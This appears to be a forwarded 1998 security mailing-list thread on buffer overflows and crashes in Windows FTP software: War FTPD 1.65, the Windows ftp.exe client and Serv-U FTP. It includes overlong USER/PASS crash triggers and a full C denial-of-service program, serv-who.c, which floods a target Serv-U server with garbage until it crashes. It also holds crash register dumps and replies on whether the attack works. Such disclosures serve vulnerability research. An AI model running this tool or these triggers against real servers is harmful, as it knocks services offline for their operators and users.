---------- Forwarded message ---------- Windows 95/NT War FTPD 1.65 Buffer Overflow ------------------------------------------- The popular War FTPD daemon for Windows 95 and NT contains a very bad buffer overflow allows for remote users to execute code on your stack or simply crash the ftp server. The overflow exists in many places including the USER and PASS phase. To exploit War FTPD you must connect to the FTP server (port 21) and issue the following command : USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long string) or PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long strong) At this point the FTP daemon will crash. We at Rootshell are not Windows users and did not have the resources or time to write actual code to execute on the stack, however it IS possible. You may find War FTPD information at http://www.sidenet.com.br/jgaa/ ---------------------------------------------------------------------------- Hello All, My apologies if this is old news. While testing the WAR ftp bugs, I ran across some trivial, but interesting overflows in the NT 3.51/4.0, and Win95 FTP client. Seems that there are at least 3 separate overflow problems in the ftp client. -- 1st is with the username input. Give a username more than 285 chars, and ftp.exe will bomb with an access violation. This only seems to affect Win NT 3.51/4.0....mainly because Win95 will only allow a 254 char username. -- 2nd is with the password input. Not sure how many chars cause the condition, but hold down a key for a few minutes and press return. Should cause ftp to bomb. Seems to only happen with Win95, and looks like an overflow. -- 3rd is with the ftp command parser. Type in any unrecognized command that is longer than 207 chars. ftp.exe will bomb and produce an access violation again. This affects both NT and Win 95 ftp clients. These bugs are not really much of a concern....but it does show that MS's code is chock full of overflows. What else has these sorts of problems? Makes you wonder........... Anton Rager arager@McGraw-Hill.com ---------------------------------------------------------------------------- Hello, After reading an earlier message, Windows 95/NT War FTPD 1.65 Buffer Overflow, I thought I might play around with some other Windows ftp servers. One problem I found was in Serv-U FTP by Cat-Soft . After you connect instead of sending the normal USER then PASS, you can send garbage. And if you send alot of garbage at a high speed Serv-U will stop responding to mouse clicks and after a short amount of time will crash and give you this: SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c. Registers: EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246 EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4 ECX=005e2098 DS=0157 ESI=81628c70 FS=2347 EDX=ffffffff ES=0157 EDI=0000ffff GS=0000 Bytes at CS:EIP: 5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec Stack dump: 00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028 17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc Why it does this I have no idea. It only acts this way in the windows 95 version. Under NT the cpu usage goes up to 100%, but no crash. Alot of times even after the crashed Serv-U has closed, Windows is still slow to non responsive. And here is the program I used, not pretty but it works: /* serv-who.c - 1998 - whiz kills Serv-U ftp on win95 boxes This program makes SERV-U32 cause a stack fault in module KERNEL32.DLL Sometimes after Serv-U crashes, windows becomes slow and non responsive, just an added bonus. Another thing is that if the ftp is running on NT it usually won't crash, just raise CPU usage to 100% while the attack is running. Tested on: i586/100 - 72 meg RAM - crashed 5 times - Serv-U FTP-Server v2.3a i586/300 - 32 meg RAM - crashed 2 times - Serv-U FTP-Server v2.3b ?/? - ? meg RAM - crashed 2 times - Serv-U FTP-Server v2.3 i586/233 - 32 meg RAM - crashed 1 time - Serv-U FTP-Server v2.2 >>> Thanks to gen for helping me test this. <<< Another thing that might effect this program is how fast the serv-who computer's internet connection is. Or in other words how much faster is it then the victim's link. A Faster one will give a higher success rate. serv-who, like, who the hell are you going to serv now, your crashed */ #include #include #include #include #include #include #include int x, s, i, p, dport; char *str = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX * XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf(" Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { int t; if (argc != 3) { printf("serv-who.c - whiz\n\n"); printf("kills serv-u ftp daemons\n\n"); printf("Usage: %s \n",argv[0]); exit(0); } printf("serv-who.c - whiz\n\n"); if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } p = atoi(argv[2]); open_sock(s,argv[1],p); printf(" Sending crap to %s on port %i... \n", argv[1], p); for (i=0; i<1000; i++) { /* loop is REAL high, most likely */ send(s,str,strlen(str),0x0); /* it will exit with a */ send(s,str,strlen(str)*20+1,0x0); /* "Broken Pipe" error before */ send(s,str,strlen(str)*25+2,0x0); /* finishing the loop */ send(s,str,strlen(str)*30+3,0x0); send(s,str,strlen(str)*35+4,0x0); send(s,str,strlen(str)*40+5,0x0); /* i just went crazy on the sends */ send(s,str,strlen(str)*45+4,0x0); /* pay no attention to them */ send(s,str,strlen(str)*50+5,0x0); send(s,str,strlen(str)*255+4,0x0); send(s,str,strlen(str)*182+5,0x0); send(s,str,strlen(str)*888+4,0x0); send(s,str,strlen(str)*666+5,0x0); send(s,str,strlen(str)*20+1,0x0); send(s,str,strlen(str)*25+2,0x0); send(s,str,strlen(str)*30+3,0x0); send(s,str,strlen(str)*35+4,0x0); send(s,str,strlen(str)*40+5,0x0); send(s,str,strlen(str)*45+4,0x0); send(s,str,strlen(str)*50+5,0x0); send(s,str,strlen(str)*255+4,0x0); send(s,str,strlen(str)*182+5,0x0); send(s,str,strlen(str)*888+4,0x0); send(s,str,strlen(str)*666+5,0x0); } printf("all done\n"); close(s); } ---------------------------------------------------------------------------- This program doesn't do anything to my Serv-U program. I can see the garbage flooding, however when I break out of serv-who.c, serv-u continues to run normally without any crash or system slowdown. I'm running win95 osr2 on a PPro 150, and ServU version 2.0c 32bit. This is an older version so perhaps that's the reason .. -----Original Message----- >Hello, >After reading an earlier message, Windows 95/NT War FTPD 1.65 Buffer >Overflow, I thought I might play around with some other Windows ftp >servers. One problem I found was in Serv-U FTP by Cat-Soft >. After you connect instead of sending the normal >USER then PASS, you can send garbage. And if you send alot of garbage at a >high speed Serv-U will stop responding to mouse clicks and after a short >amount of time will crash and give you this: > >SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c. >Registers: >EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246 >EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4 >ECX=005e2098 DS=0157 ESI=81628c70 FS=2347 >EDX=ffffffff ES=0157 EDI=0000ffff GS=0000 >Bytes at CS:EIP: >5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec >Stack dump: >00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028 >17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc > >Why it does this I have no idea. It only acts this way in the windows 95 >version. Under NT the cpu usage goes up to 100%, but no crash. Alot of >times even after the crashed Serv-U has closed, Windows is still slow to >non responsive. > >And here is the program I used, not pretty but it works: > ---------------------------------------------------------------------------- The author (I'm just a customer, no financial stake etc. sent with permission) says: "I've run the program, and it does indeed kill Serv-U on Win95 on a fast link. From the looks of it sofar it seems the Win95 socket stack is to blame. It never even goes into actual Serv-U code when it crashes, but stays in system drivers." -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 On Thu, 5 Feb 1998, tl wrote: > This program doesn't do anything to my Serv-U program. I can see the > garbage flooding, however when I break out of serv-who.c, serv-u continues > to run normally without any crash or system slowdown. I'm running win95 > osr2 on a PPro 150, and ServU version 2.0c 32bit. This is an older version > so perhaps that's the reason .. > > -----Original Message----- > > > >Hello, > >After reading an earlier message, Windows 95/NT War FTPD 1.65 Buffer > >Overflow, I thought I might play around with some other Windows ftp > >servers. One problem I found was in Serv-U FTP by Cat-Soft > >. After you connect instead of sending the normal > >USER then PASS, you can send garbage. And if you send alot of garbage at a > >high speed Serv-U will stop responding to mouse clicks and after a short > >amount of time will crash and give you this: > > > >SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c. > >Registers: > >EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246 > >EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4 > >ECX=005e2098 DS=0157 ESI=81628c70 FS=2347 > >EDX=ffffffff ES=0157 EDI=0000ffff GS=0000 > >Bytes at CS:EIP: > >5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec > >Stack dump: > >00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028 > >17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc > > > >Why it does this I have no idea. It only acts this way in the windows 95 > >version. Under NT the cpu usage goes up to 100%, but no crash. Alot of > >times even after the crashed Serv-U has closed, Windows is still slow to > >non responsive. > > > >And here is the program I used, not pretty but it works: > > > ----------------------------------------------------------------------------